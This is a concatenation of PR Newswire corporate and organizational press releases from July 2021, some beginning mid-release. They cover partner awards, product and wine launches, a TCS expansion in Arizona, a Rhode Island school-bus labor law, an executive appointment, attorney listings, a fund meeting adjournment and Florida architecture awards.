Zimmer was raised in Scarsdale, New York, where he showed an early aptitude for business, becoming a circulation manager for a local newspaper when he was still in high school, and later attending college at Washington University where he earned a bachelor's degree in economics. Mr. Zimmer also played a crucial role as a pioneer and major financial contributor to California's Proposition 215 in 1996, the first successful statewide medicinal marijuana campaign in the United States. He lives in Oakland, California, where his primary philanthropic work is focused on the Oakland Zoo.

For more about George Zimmer and I Guarantee It, visit: gzimmerbook.com

I Guarantee It (978-1-58270-841-6) releases from Beyond Words Publishing on September 21, 2021. Advanced copies are available by request and media inquiries can be directed to Brennah Hale at [email protected] or [email protected].

SOURCE George Zimmer
Top channel partners honoured for their efforts helping organisations digitally transform with the Nintex Process Platform

MELBOURNE, Australia, July 14, 2021 /PRNewswire/ -- Nintex, the global standard for process management and automation, today announced 15 winners of the 2021 Nintex Partner Awards across five categories and three regions  Americas, Asia Pacific, and Europe Middle East and Africa  for their impact helping Nintex customers in every industry accelerate digital transformation and drive business outcomes with the powerful and easy-to-use capabilities of the Nintex Process Platform.

"We are proud to recognise every 2021 Nintex Partner Award winner for their impact delivering digital solutions that improve the way people work with the Nintex Process Platform," said Nintex Chief Executive Office Eric Johnson. "The commitment, expertise, and support of our award-winning channel partners are helping our customers achieve high-impact business results."

Each Nintex Partner Award winner was selected based on measurable business results during Nintex's fiscal year 2021, ending on 30 June 2021. The Nintex Partner Awards celebrate top channel partners who help public and private sector organisations across every industry and geographic region achieve their digital transformation and process excellence goals by leveraging Nintex's process management and automation software.

2021 Nintex Partner Award winners by category and region are available online at https://www.nintex.com/nintex-partner-awards-2021/ and include:

Business Acceleration  strong expansion of automation subscriptions year-over-year:

Americas: Ricoh USA in the United States

in Asia Pacific : Cumulus International Co., Ltd in Thailand

: Cumulus International Co., Ltd in Europe Middle East and Africa : Taqniyat in Saudi Arabia

Business Excellence  bringing the Nintex Process Platform to new organisations:

Americas: Protiviti, Inc. in the United States

Asia Pacific : rapidMATION in Australia

: rapidMATION in Europe Middle East and Africa : SURE Global Technology in Saudi Arabia

Business Transformation  contributing top customer entries to the 2021 Nintex Solution Innovation Awards:

Americas: Publicis Sapient in the United States

Asia Pacific : System RKK in Singapore

: System RKK in Europe Middle East and Africa : Hub Collab in France

Customer Success  supporting long-term adoption and success of the Nintex Process Platform:

Americas: Boost Strategy Partners in the United States

Asia Pacific : CDS Solution Corp., Ltd. in Thailand

: CDS Solution Corp., Ltd. in Europe Middle East and Africa : Synergi in the United Kingdom

Regional Spotlight  regional market impact and momentum with customers:

Americas: QuantumRhino in the United States

Asia Pacific : LakeTree in New Zealand

: LakeTree in Europe Middle East and Africa : Apendo in Denmark

Learn more about the Nintex Partner Network by visiting, https://partner.nintex.com/.

Media Contact

Kristin Treat

Nintex

[email protected]

cell: (215) 317-9091

About Nintex

Nintex is the global standard for process management and automation. Today more than 10,000 public and private sector organisations across 90 countries turn to the Nintex Platform to accelerate progress on their digital transformation journeys by quickly and easily managing, automating and optimising business processes. Learn more by visiting www.nintex.com and experience how Nintex and its global partner network are shaping the future of Intelligent Process Automation (IPA).

Photo - https://mma.prnewswire.com/media/1572531/2021_Nintex_Partner_Awards_Winners.jpg

Logo - https://mma.prnewswire.com/media/700078/Nintex_Logo.jpg

SOURCE Nintex

Related Links

http://www.nintex.com


- The auspicious festival of Raksha Bandhan is observed on a full moon day or Purnima day during the month of Shravana

- This year, Rakhi will be celebrated on Sunday, 22nd August 2021

NEW DELHI, July 14, 2021 /PRNewswire/ -- Rakhi.in is preparing for Raksha Bandhan, a popular Indian festival that marks the sanctity and purity of the bonds of brothers and sisters. According to the Hindu lunar calendar, this auspicious festival is celebrated on a full moon in Shravana month. During the festive celebrations of Raksha Bandhan, sisters purchase Rakhi for brother and tie the holy thread of Rakhi on the wrists of their brothers and pray for their safety, happiness, prosperity, and good health from the Almighty.

Raksha Bandhan 2021 Date: The festival of Rakhi will be celebrated on Sunday, 22nd August this year. The date of the full moon will begin from the evening of 21st August and continue on 22nd August.

Raksha Bandhan Shubh Muhurat 2021:

Raksha Bandhan Thread Ceremony Timings - 06:15 AM to 05:31 PM

Aparahna Raksha Bandhan Timings - 01:42 PM to 04:18 PM

Purnima Tithi Begins - 07:00 PM on August 21, 2021

Purnima Tithi Ends - 05:31 PM on August 22, 2021

Raksha Bandhan 2021 Inauspicious Time:

Raksha Bandhan Bhadra End Time - 06:15 AM

Raksha Bandhan Bhadra Punchha - 02:19 AM to 03:27 AM

Raksha Bandhan Bhadra Mukha - 03:27 AM to 05:19 AM

Significance of Raksha Bandhan

Raksha Bandhan holds great significance for brothers and sisters all around the world. People of all religions widely acknowledge the Indian festival due to the sibling bond it celebrates and cherishes. On this day, sisters keep fasts for their brothers and pray for their brothers' long, healthy, and successful lives. The holy festival is not bound by the chains of blood ties but has much more to it. It is also revered by people who may not be related by blood but connected by emotions.

This year, Rakhi celebrations would be more private and virtual. Sisters will buy Rakhi online for brothers considering the norms of the pandemic. No matter the pandemic has restricted the celebrations of this festival, sibling love will travel to any distance.

Popular Rakhi Trends in 2021

Auspicious Rakhi are now in trend as the lethal virus has created a panic among people, and they believe that the divine powers of these sacred Rakhi threads will protect their dear ones from impending dangers. Some of the popular auspicious Rakhi includes Rudraksha Rakhi, Silver Rakhi, Ganesha Rakhi, Evil Eye Rakhi, Krishna Rakhi, Om Rakhi, and Swastika Rakhi.

While speaking to Mukesh Kumar, Senior Manager at Rakhi.in, about their special preparations for Raksha Bandhan 2021, he said, "Raksha Bandhan is a significant occasion for us. Every year, the preparations for this festival begin with the understanding of the latest trends of Rakhi and Rakhi gifts around the world. After this survey is completed, we plan a detailed catalog for Raksha Bandhan for India as well as overseas. Currently, we are serving in 60+ countries internationally and 500+ cities in India. We strongly hope that this year will be fantastic and successful just like the previous ones for Rakhi.in."

About Rakhi.in

Established in 2005, Rakhi.in is a reputable and well-known online Rakhi store with experience of more than 15 years in the industry. The website is user-friendly and wide to offer a smooth and hassle-free online Rakhi shopping experience to its customers. Displaying more than 5,000 products in different categories, the portal allows its users to easily identify their choice of Rakhi and Rakhi gifts and get them delivered at their doorsteps on time.

SOURCE Rakhi.in
Hexaware's Insurance business is one of the fastest-growing business units, progressing at 18%+ CAGR over the past five years. Hexaware serves 40+ insurers worldwide and approximately 20% or one-fifth of its overall revenues comes from its Insurance business unit. Hexaware is proud to be the digital transformation partner for some of the Global Fortune 500 insurers as well as many famous InsurTech ventures.

Randi Simmons, Head of Strategic Partnerships, Socotra, said, "We're delighted to expand our relationship with Hexaware by welcoming them to our growing partner community. Hexaware has an impressive track record of exceptional client service, and we look forward to working together to accelerate speed to market and reduce costs for our joint customers."

"Socotra's flexible product model and industry's first true-cloud platform provide an attractive value for insurers to build engaging products and experiences. The insurance industry in North America is going through significant product innovation due to demand of new products to cover digital-age risks," said Kush Gupta, Vice President & North America Insurance Business Head, Hexaware. He added, "Hexaware is focused on helping insurers enable better risk assessment and dynamic pricing through the integration of data with technology, and we are excited to partner with Socotra and help insurers complete digital transformation 3x faster than legacy systems."

Shreyas Chakravarthy, Vice President & UK, Europe Insurance Business Head, Hexaware, said, "Socotra's modern cloud-native architecture and intuitive API-driven configuration enable insurers to launch digital products faster and advances the time to value curve for customers. Rapidly transforming customer experiences by leveraging the cloud is at the heart of our approach to core insurance transformation, and we are very excited to join hands with Socotra in this journey."

About Socotra

Learn more about Socotra at www.socotra.com.

About Hexaware

Learn more at http://www.hexaware.com.Take an immersive 360 virtual tour of our campuses worldwide at https://www.hexawareimmersive.com.

Contact:

Sreedatri Chatterjee

[email protected]

SOURCE Hexaware Technologies Ltd.
MIAMI, July 13, 2021 /PRNewswire/ -- Storica Wines, a Boston-based Armenian wine import, sales, and marketing company, today announced the addition of two new wine brands to their portfolio: Van Ardi and Shofer. Van Ardi is an award-winning estate winery located in Ashtarak, Armenia; Shofer is a new brand built by the Storica team, with its flagship product a 2020 Areni Rose now available through the company's online store and in various retail outlets across the country (visit Storica's store locator to find a store or restaurant near you).

Shofer Van Ardi Areni Reserve

Van Ardi and Shofer join a growing set of brands in Storica's portfolio that represent the finest quality and expression of Armenia's rich heritage and renaissance in winemaking. The company now has five portfolio brands, including existing brands Zulal, Keush, and Oshin. Van Ardi is the first winery from the Aragatsotn region of Armenia in Storica's portfolio.

"Storica's focus is to build the category of the fine wines of Armenia in the US market, and as such, representing wineries from various wine regions and winemaking philosophies is key to achieving our goal," says Ara Sarkissian, Storica's Head of Wine. "Van Ardi's dedication to practicing sustainable farming on its estate vineyards and its uniquely rich yet expressive wines help deepen Storica's portfolio."

Known for their complex yet balanced fruit-forward wines, the Van Ardi winery produces award winning varieties including the 2017 Areni Reserve and the 2017 Estate Red Blend. The Areni Reserve is medium-bodied, with persistent flavors of red berries and earthy, roasted cocoa aromas. Its counterpart, the Estate Red Blend, is the winery's flagship wine. Lisa Granik, MW, rated this elegant red blend 93 points for its expressive berry flavors and balanced notes of dark chocolate.

Shofer is a new brand built by the Storica team, launching with a beautiful, dry Rose from Armenia's most popular red grape, Areni. "We're excited to see how the brand is received in the states, and where it will go in future vintages," says Storica co-founder Zack Armen.

All of Storica's portfolio wines are available for purchase in stores and restaurants in 18 states, including in the New York City, Boston Metro, Miami Metro, Houston & Austin Metro, Chicago Metro, and Los Angeles Metro markets, and online through their online shop. For more information or to order online, please visit https://www.storicawines.com/.

MEDIA CONTACT

Amalia Ivaldi

[email protected]

788-843-2979

SOURCE Storica Wines

Related Links

https://www.storicawines.com/


PHOENIX and MUMBAI, India, July 14, 2021 /PRNewswire/ -- Tata Consultancy Services (TCS) (BSE: 532540, NSE: TCS), a leading global IT services, consulting, and business solutions organization, announced plans to expand its operations in Arizona, investing more than $300 million by 2026 and hiring more than 220 employees by 2023, to meet the digital transformation needs of its customers. TCS will also continue to expand the reach of its STEM and Computer Science education programs in Arizona by increasing teacher training and online content for students over the next two years.

TCS' flagship Phoenix Business Center, one of 30 TCS facilities in the US, serves more than 50 customers across Arizona. TCS currently has more than 780 employees in the state, helping clients in banking, manufacturing, healthcare, and utilities, manage their IT operations and harness technologies such as artificial intelligence, machine learning, and enterprise software to achieve their growth and transformation objectives. The new positions will be based at the Phoenix center as well as in client offices around the state.

"TCS has a global reputation for excellence," said Governor Doug Ducey. "Their selection of Arizona for this significant expansion demonstrates the strength of the Phoenix market and vitality of our local businesses. We are also grateful for TCS' continued support of local STEM education, which has been a priority in Arizona. TCS has been a fantastic private sector partner and we look forward to their continued success.

"Arizona is excited to see TCS add to its already sizeable presence in the state with the addition of more than 220 new jobs," said Sandra Watson, President and CEO, Arizona Commerce Authority. "This investment highlights Arizona's thriving innovation ecosystem as well as our robust pipeline for technology talent. We thank TCS for their continued commitment to our state."

"We are delighted to expand our presence in Arizona, tap local talent to help clients in their transformation journeys, and contribute to the growth of the technology industry here. We also look forward to expanding our community engagement through our STEM initiatives, to help nurture the next generation of local technology leaders in our schools," said Surya Kant, Chairman of North America, TCS.

TCS recognizes the need to expand STEM and computer science education in schools across Arizona and the US as the company continues to hire local IT talent. According to Code.org, Arizona currently has more than 9,713 open computing jobs, yet there were only 1,014 graduates in computer science in 2018, and just 30 percent of Arizona public high schools currently teach foundational courses in computer science.

To lay the groundwork for a pipeline of skilled talent in Arizona, TCS has implemented its Ignite My Future in School (IMFIS) and goIT programs, partnering with Arizona State University's Innovation Lab to bring goIT's Design Thinking model of identifying alternative strategies and solutions to solve problems to the curriculum. The success in Phoenix, which helped 130 students, allowed TCS to scale the partnership model around the US, including a first-of-its-kind playbook for facilitating a design thinking program. Since 2019, more than 1,200 educators have accessed IMFIS online content, reaching over 70,000 students in Arizona.

Further, 15 school districts across the state have attended IMFIS TECHademies, which are TCS-sponsored professional development events for educators. In addition to TCS' signature STEM education programs, employees have volunteered more than 1,150 hours with national and local non-profit organizations such as the American Heart Association, St. Mary's Food Bank, and Toys for Tots.

Over the past 40 years, TCS has partnered with more than a third of the Fortune 500 companies to help them digitally transform and grow their businesses. TCS has been among the top two US recruiters of IT services talent, hiring more than 21,500 employees in the past five years. With industries looking to recover from the effects of COVID-19, TCS expects to hire an additional 10,000 local employees in the US by 2022.

About Tata Consultancy Services (TCS)

Tata Consultancy Services is an IT services, consulting and business solutions organization that has been partnering with many of the world's largest businesses in their transformation journeys for over 50 years. TCS offers a consulting-led, cognitive powered, integrated portfolio of business, technology and engineering services and solutions. This is delivered through its unique Location Independent Agile delivery model, recognized as a benchmark of excellence in software development.

A part of the Tata group, India's largest multinational business group, TCS has over 500,000 of the world's best-trained consultants in 46 countries. The company generated consolidated revenues of US $22.2 billion in the fiscal year ended March 31, 2021, and is listed on the BSE (formerly Bombay Stock Exchange) and the NSE (National Stock Exchange) in India. TCS' proactive stance on climate change and award-winning work with communities across the world have earned it a place in leading sustainability indices such as the MSCI Global Sustainability Index and the FTSE4Good Emerging Index. For more information, visit www.tcs.com and follow TCS news at @TCS_News.

To stay up-to-date on TCS global news, follow @TCS_News.

TCS media contacts:

SOURCE Tata Consultancy Services
PROVIDENCE, R.I., July 12, 2021 /PRNewswire/ -- Legislation protecting workers in the school bus industry pushed by Teamsters Local 251 and other unions (H6118A and S635A), passed the Rhode Island General Assembly overwhelmingly and was signed into law last Friday. Local 251 Secretary-Treasurer Matt Taibi, who has been at the forefront of crafting legislation to improve workers' lives in Rhode Island, was among the first to testify at a Senate hearing on S635A.

"We are proud to have played a role in getting this bill passed into law," said Taibi. "We are thankful for State Representative Gregg Amore and State Senator Val Lawson being the prime sponsors of this legislation, for the State House and State Senate leadership supporting this legislation, for the Governor signing the bill and for the hard work of Teamsters Legislative Director Paul MacDonald moving workers' issues through the legislative process."

The pro-worker and pro-environmental provisions of the law will be considered model language for workers in the school bus industry across the country. The bill became law upon Governor McKee's signature later this month.

"This law has so many great provisions for workers in the school bus industry," said Taibi. "Top among them is prevailing wages for drivers, monitors and aides. This is frequently seen in construction, but has been lacking among student transportation companies. This means that school bus contractors that have traditionally hired inexperienced, low-paid workers can't undercut responsible contractors that have seasoned, well-trained workers with low-ball bids. The safety of our school children hangs in the balance when contracts are awarded based solely on the lowest cost."

Some other major highlights of the legislation include a mandatory minimum of 180 paid days to match the school calendar, guaranteed due process for workers when schools or customers want to remove a school bus worker and preferences for contractors using electric school buses.

"Due process to protect workers against false accusations is another important part of this law," said Paul MacDonald, Local 251 Legislative Director. "We have had too many school bus workers disciplined over unsubstantiated claims of wrongdoing. Recently one worker was accused of, and terminated for, carrying a knife. It turned out to be a nail file. All too often, there has been a difficult process for ensuring that the discipline fits the offense, if any. We believe in progressive and corrective discipline  not unjustified punishment  so that workers do the best possible job for our kids and our communities."

"We pushed so hard for workers to be paid for the 180 mandated school days because if taxpayers are paying for 180 days of transportation, revenue contracts should reflect this and the workers should be paid for them as well," said Brooke Reeves, Local 251 Assistant Business Agent. "School bus workers are already in high demand. They work split shifts and have planned layoffs throughout the year, with compensation that is average at best. Having additional layoff days with reduced earnings just pushes workers out of the industry, which hurts our kids and our communities."

"We look forward to continuing to improve the lives of school bus workers through the good contracts we negotiate and passing legislation like this," said Taibi.

Teamsters Local 251 represents over 6,300 workers in a wide variety of industries throughout Rhode Island and southern Massachusetts, including approximately 1,000 school bus workers in Rhode Island. For more information, go to https://teamsterslocal251.org/

Contact:

Matthew Taibi, (401) 431-0454

[email protected]

SOURCE Teamsters Local 251
Gabrielle said, "I am honored to receive this award. At Ferrara Manufacturing, we continue to build our modern manufacturing organization by seeing the direct benefits of empowering our workforce and creating a positive, diverse, and passionate work environment and culture. I thank everyone on our team at Ferrara Manufacturing, my parents, and The Manufacturing Institute for supporting our vision for the future of American garment engineering."

"Our company is built on excellence. Over half of our highly skilled and diverse team is women, and for the past 34 years we have been manufacturing in the United States, so we are thrilled to have one of our leaders represent all of us to be part of this prestigious group in the industrial space. It is vital that manufacturing continues to diversify our leadership base in order to create a more equitable and sustainable industry," said Ferrara Manufacturing, Owner and Co-founder, Carolyn Ferrara.

The STEP Women's Initiative is the nation's marquee program to close the gender gap in manufacturing. STEP works to foster a 21st-century manufacturing workforce by empowering and inspiring women in the manufacturing industry through recognition, research and leadership, as well as by motivating alumnae to pay it forward by mentoring the next generation. The STEP Ahead Awards honor exceptional women in manufacturing and motivate them to mentor the next generation through an annual awards gala and alumnae programs. The stories of these women and the leadership they show will help inspire next-generation female leaders in manufacturing and support female talent already within the industry. In the program's first five years, STEP Ahead Award winners impacted more than 300,000 individualsfrom peers in the industry to school-age children.

The biggest challenge facing manufacturers continues to be the growing workforce crisisthe shortage of skilled talent to fill open positions. Manufacturers can close the skills gap by 50% simply by bringing 10% more women into the industry. Women account for about half of the U.S. labor force but represent less than one-third of the manufacturing workforce. STEP Ahead empowers and inspires women in the manufacturing industry. The goal is to build networks for women to have support in their industry and to elevate the role models that can motivate and mentor the next generation.

On Nov. 4, The Manufacturing Institute will recognize 130 recipients of the STEP Ahead Awards at a gala in Washington, D.C. The STEP Ahead Awards program will highlight Gabrielle's story, including her leadership and accomplishments in manufacturing with Ferrara Supply.

ABOUT FERRARA MANUFACTURING

Ferrara Manufacturing is a high-end tailored garment production company in New York City. The organization was founded in 1987 by the wife and husband team, Carolyn and Joseph Ferrara. The company's mission is to produce the highest quality garments with attention to detail, construction, and fit. Daughter and son, Gabrielle Ferrara and Angelo Ferrara, joined the business in 2016 to run the daily operations, invest in advanced technologies, and focus on growth. For more information, please visit www.ferraramfg.com

ABOUT THE MANUFACTURING INSTITUTE

The Manufacturing Institute grows and supports the manufacturing industry's skilled workers for the advancement of modern manufacturing. The Manufacturing Institute's diverse initiatives support all American workers, including women, veterans and students, through skills training programs, community building and the advancement of their career in manufacturing. As the workforce development and education partner of the National Association of Manufacturers, The Manufacturing Institute is a trusted adviser to manufacturers, equipping them with resources necessary to solve the industry's toughest challenges. For more information, please visit www.themanufacturinginstitute.org

CONTACT: [email protected]

SOURCE Ferrara Manufacturing

Related Links

https://www.ferraramfg.com


COPENHAGEN, Denmark, July 14, 2021 /PRNewswire/ -- MyChargeBack, the leading dispute resolution firm for resolving complex card-not-present transaction disputes, which has solved thousands of payment related claims for consumers worldwide, has announced that Scandinavian payments industry veteran Judith Persson has been appointed Vice President of European Operations and Business Development.

Judith Dayan Persson, who formerly served as Senior Vice President of Nets and directed global fraud management at Danske Bank, has been appointed MyChargeBacks Vice President of European Operations and Business Development.

Judith joins MyChargeBack from Nets, one of the top payment providers in Europe with more than 250 bank partners, where she served as senior vice president. In that position she played a key role in the firm's development of products designed to help issuers reduce losses due to fraud. Prior to Nets, she directed global fraud management at Danske Bank, one of the largest financial institutions in Scandinavia.

"Judith boasts an impressive background in chargebacks, dispute resolution, risk management, and fraud prevention," noted Michael B. Cohen, Vice President of Global Operations for MyChargeBack. "We have strategic objectives for both credit card issuers and cardholders in Europe and are confident in Judith's ability to achieve those goals," Cohen explained. "Judith's experience will be invaluable as MyChargeBack expands its footprint beyond the Nordic market into the rest of Europe."

"I chose MyChargeBack as my logical next step because it has distinguished itself as a trailblazer in modernising the payments industry," Judith stated. "While Scandinavia leads in technology for financial institutions, there is a deep gap in the marketplace for digital solutions that replace manually-intensive and, therefore, expensive dispute resolution processing," she continued. "In my previous roles, I came to recognize the unique value MyChargeBack adds as a consultant to banks and consumers alike," she stressed. "The digital solutions it has developed and introduced significantly improve communication between banks and cardholders who seek to validate their dispute rights."

A chargeback is the retroactive cancellation of a purchase made using a credit or debit card. According to a study by the Aite Group, chargebacks will grow to $35 billion in 2021, up from $23 billion in 2018. By leveraging its dispute resolution expertise and proprietary technologies, MyChargeBack is able to bridge the gap between banks and consumers and create a means for banks to increase efficiencies while lowering costs.

About MyChargeBack

MyChargeBack is an international financial services firm with offices on four continents. Founded in 2016, it has since become a global leader in resolving authorised card-not-present disputes, which typically involve transactions for goods or services that were not delivered as contracted. With decades of collective banking, regulatory and legal experience, MyChargeBack's team has unrivaled expertise in chargebacks and forensic cryptocurrency transaction investigations, having served clients by working with more than 800 banks in over 100 countries.

Media Contact:

Daniel Delson

+1-917-328-9337

[email protected]

Photo - https://mma.prnewswire.com/media/1573950/Judith_Dayan_Persson.jpg

SOURCE MyChargeBack
GREAT FALLS, Mont., July 14, 2021 /PRNewswire/ -- Based in Great Falls, Montana, the personal injury law firm of Hoyt & Blewett PLLC advocates for individuals and families who have been seriously injured through someone else's negligence in Montana. Its attorneys share more than 130 years of collective experience, as well as numerous accolades and awards. Now, in the 2021 edition of Super Lawyers, three of the firm's attorneys have been listed for their work in Great Falls as follows:

Alexander "Zander" Blewett III

Personal Injury - General: Plaintiff



Personal Injury - Medical Malpractice: Plaintiff



Personal Injury - Products: Plaintiff

Joseph P. Cosgrove

Personal Injury - General: Plaintiff



Insurance Coverage



Transportation/Maritime



Construction Litigation: Consumer

Kurt M. Jackson

Personal Injury - General: Plaintiff

Each of these Hoyt & Blewett attorneys has been selected for listings in previous editions of Super Lawyers. Attorney Blewett has been listed every year since 2007, and Attorney Jackson has been listed every year since 2012. Attorney Cosgrove earned listings from 2010 to 2015 and in 2021; in 2009, he also earned a listing in the early career attorney guide, Super Lawyers Rising Stars.

Super Lawyers only lists up to 5% of the nation's practicing attorneys in its annual guide; the selection process is, therefore, rigorous and thorough. Each nominee, regardless of whether they have been listed before, must undergo this selection process for each new edition.

The first step of the process is the curation of the candidate pool: Attorneys must obtain a third-party nomination for consideration. The Super Lawyers research team then evaluates them on 12 categories meant to provide a clear picture of their practices, such as case results, pro bono and community work, and bar activity. Next, nominees are reevaluated by their peers in a Blue Ribbon Review. This second review is designed to ensure that each Super Lawyers listee holds the respect of other attorneys in their areas of practice.

Another year of Super Lawyers listings is a notable achievementAttorneys Blewett, Cosgrove, and Jackson are very honored to be acclaimed by their peers and the Thomson Reuters company. They have been key players in Hoyt & Blewett's legal work over the years, including the numerous record-setting personal injury verdicts achieved by the firm.

Hoyt & Blewett's attorney team is dedicated to protecting the rights of injured Montana residents. To learn more about how the award-winning trial law firm can help you, please visit hoytblewett.com. Further information about Super Lawyers can be found online at superlawyers.com.

SOURCE Hoyt & Blewett PLLC

Related Links

https://www.hoytblewett.com


BOSTON, July 14, 2021 /PRNewswire/ -- Eaton Vance New York Municipal Income Trust (NYSE American: EVY) (the "Fund") held a special meeting of shareholders earlier today (the "Special Meeting"). At the Special Meeting, Fund shareholders were asked to approve the liquidation and termination of the Fund pursuant to the plan of liquidation and termination approved by the Fund's Board of Trustees. The Special Meeting was adjourned to July 27, 2021 at 2:00 p.m. Eastern Time to allow more time for shareholders to vote. The April 23, 2021 record date for shareholders entitled to vote at the adjourned Special Meeting remains unchanged. Information about the adjourned Special Meeting appears below.

If, as of April 23, 2021, you were a Fund shareholder and have not yet voted, the Fund urges you to submit your vote in advance of the adjourned Special Meeting by one of the methods described in the Fund's proxy materials. The Fund's proxy statement is available online at https://funds.eatonvance.com/closed-end-fund-and-term-trust-documents.php.

If, as of April 23, 2021, you were a holder of record of Fund shares (i.e., you held Fund shares in your own name directly with the Fund) and wish to participate in and vote at the adjourned Special Meeting, you should email your full name and address to AST at [email protected] You will then be provided with credentials to participate in the adjourned Special Meeting. You will be able to vote by entering the control number found on the proxy card you previously received. All requests to participate in and/or vote at the adjourned Special Meeting must be received by AST by no later than 3:00 p.m. Eastern Time on July 26, 2021.

If, as of April 23, 2021, you held Fund shares through an intermediary (such as a broker-dealer) and wish to participate in and vote at the adjourned Special Meeting, you will need to obtain a legal proxy from your intermediary reflecting the Fund's name, the number of Fund shares you held and your name and email address. You may forward an email from your intermediary containing the legal proxy or attach an image of the legal proxy to an email and send it to AST at [email protected] with "Legal Proxy" in the subject line. You will then be provided with credentials to participate in the adjourned Special Meeting, as well as a unique control number to vote your shares. If you would like to participate in, but NOT vote at, the adjourned Special Meeting, please send an email to AST at [email protected] with proof of ownership of Fund shares. A statement, letter or the Vote Instruction Form from your intermediary will be sufficient proof of ownership. You will then be provided with credentials to participate in the adjourned Special Meeting. All requests to participate in and/or vote at the adjourned Special Meeting must be received by AST by no later than 3:00 p.m. Eastern Time on July 26, 2021.

Please contact AST at [email protected] with any questions regarding access to the adjourned Special Meeting, and an AST representative will contact you to answer your questions.

About the Fund

Eaton Vance applies in-depth fundamental analysis to the active management of equity, income, alternative and multi-asset strategies. Eaton Vance's investment teams follow time-tested principles of investing that emphasize ongoing risk management, tax management (where applicable) and the pursuit of consistent long-term returns. The firm's investment capabilities encompass the global capital markets. With a history dating back to 1924, Eaton Vance is headquartered in Boston and also maintains investment offices in New York, London, Tokyo and Singapore. For more information, visit evmanagement.com. Eaton Vance is a part of Morgan Stanley Investment Management, the asset management division of Morgan Stanley.

Shares of closed-end funds often trade at a discount from their net asset value. The market price of Fund shares may vary from net asset value based on factors affecting the supply and demand for shares, such as Fund distribution rates relative to similar investments, investors' expectations for future distribution changes, the clarity of the Fund's investment strategy and future return expectations, and investors' confidence in the underlying markets in which the Fund invests. Fund shares are subject to investment risk, including possible loss of principal invested. The Fund is not a complete investment program and you may lose money investing therein. An investment in the Fund may not be appropriate for all investors. Before investing, prospective investors should consider carefully the Fund's investment objective, strategies, risks, charges and expenses.

This press release is for informational purposes only and is not intended to, and does not, constitute an offer to purchase or sell shares of the Fund. Additional information about the Fund, including performance and portfolio characteristic information, is available at eatonvance.com.

Statements in this press release that are not historical facts may be forward-looking statements, as defined by the U.S. securities laws. You should exercise caution in interpreting and relying on forward-looking statements because they are subject to uncertainties and other factors that may be beyond the Fund's control and could cause actual results to differ materially from those set forth in the forward-looking statements.

SOURCE Eaton Vance Management

Related Links

www.eatonvance.com


ORLANDO, Fla., July 14, 2021 /PRNewswire/ -- The Florida Association of the American Institute of Architects will celebrate work from the utilitarian to the sublime at its annual AIA Florida/Caribbean Region Design & Honor Awards on July 17 at the Hilton Bonnet Creek in Orlando.

The Design Awards, judged by a jury based in New York City and including members of the faculty of The Cooper Union, recognizes the work of 24 firms and architects from Florida, Puerto Rico and the U.S. Virgin Islands. The Honor Awards recognize the work of AIA members who embody the ideals of the American Institute of Architects both professionally and in their community.

"This is aspirational work," said AIA Florida President Ignacio J. Reyes, AIA, NCARB. "The people that will be on stage are the best in the region and we're honored to celebrate these architects and their projects."

The winners are:

Bonita Springs

The Suwyn Early Learning Center at the Bonita Springs YMCA, Hall Darling Design Studio, merit Award of Excellence for New Work.

Bowling Green

Streamsong Black, Alfonso Architects, merit Award of Excellence for New Work.

Fort Lauderdale

Fast Forward Fort Lauderdale Design and Construction Manual for a Sustainable and Resilient Community and Cohesive Public Realm, Brooks + Scarpa, KEITH, honor award for Unbuilt.

Floreana Nail Spa, Glenda Puente Architect, honor Award of Excellence for Interiors.

Tarpon Bend Residence, [STRANG] Design, citation Award of Excellence for New Work.

John Sandell, Assoc. AIA, Object Award and William G. McMinn, FAIA, Award for Outstanding Architectural Education Contributions.

Gainesville

AIA Gainesville, Anthony "Tony" Pullara Chapter Award.

Lake Mary

Corporate Headquarters, Little Diversified Architectural Consulting, merit Award of Excellence for Interiors.

Leesburg

Historic Mote Morris House, KMF Architects, citation Award of Excellence for Historic Preservation & Restoration.

Miami-Dade County

Casa 640, Glenda Puente Architect, citation award for Unbuilt.

unPLANningMIAMI: A Transformative Design Framework for Strategic Decline and Resettlement of South Florida from the Effects of Sea-Level Rise and Climate Change, Brooks + Scarpa, merit Theoretical & Research Award Professional.

University of Miami Lakeside Village, ArquitectonicaGEO, citation Award of Excellence, Sustainability.

800 Lincoln Road, Touzet Studio, citation Award of Excellence for Renovations & Additions.

Luminaire Showroom Addition, MATEU Architecture Inc., citation Award of Excellence for Renovations & Additions.

723 Lincoln Lane North, Shulman + Associates (design architect) and Wolfberg Alvarez & Partners (architect of record), merit Award of Excellence for New Work.

Naples

Holocaust Museum and Cohen Education Center, David Corban Architects, citation Award of Excellence for Interiors.

Orlando

The Mennello Museum of American Art, Brooks + Scarpa, KMF Architects, merit award for Unbuilt.

Historic Leu House, KMF Architects, merit Award of Excellence for Historic Preservation & Restoration.

Briana Johnson, Assoc. AIA, Associate of the Year.

AIA Orlando, Anthony "Tony" Pullara Chapter Award.

Scott Nichols, CPSM, the Bob Graham Architectural Awareness Award.

Ronok Nichols, AIA, the Silver Medal, the Hillard T. Smith Community Service Award.

Palm Beach County

Project Hope: A Trauma-Informed Recovery Center, birse/thomas, citation award for Unbuilt.

Richard Logan, AIA, the Gold Medal.

Puerto Rico

Acacia Resilient House, Marvel Marchand Architects, merit award for Unbuilt.

San Jose Church Restoration, Jorge Rigau Arquitectos PSC, honor award for Masonry.

Revisiting Old Technologies for New Construction: Hydraulic Mosaics and Concrete Block in the Spanish Caribbean, Beatriz del Cueto, FAIA, citation Theoretical & Research Award Professional.

Belleza Desnuda: A Conservation Assessment of the Concrete Exterior of Henry Klumb's Parroquia Nuestra Senora del Carmen in Catano, Puerto Rico, Hector Berdecia-Hernandez, Assoc. AIA, merit Theoretical & Research Award Student.

Casa Flores, Fuster + Architects, honor Award of Excellence for New Work.

Santa Monica Condominium, Marvel Marchand Architects on behalf of Reed Torres Beauchamp Marvel, Test of Time Award.

St. Petersburg

The New St. Pete Pier, ASD|SKY Architects and Rogers Partners, merit Award of Excellence for New Work.

Santa Rosa Beach

Dune Lakes Elementary School, DAG Architects, citation Award of Excellence for New Work.

Sarasota

Sarasota Municipal Auditorium, SOLSTICE Architecture and Planning, merit Award of Excellence for Historic Preservation & Restoration.

Rosemary Square, SOLSTICE Architecture and Planning, citation Award of Excellence for New Work.

Tampa

EWI Construction, Builder of the Year.

AIA Florida/Caribbean Region's Design & Honor Awards program encourages excellence in architecture, elevates the public awareness of good design and recognizes those architects whose work enriches our communities and architecture at large.

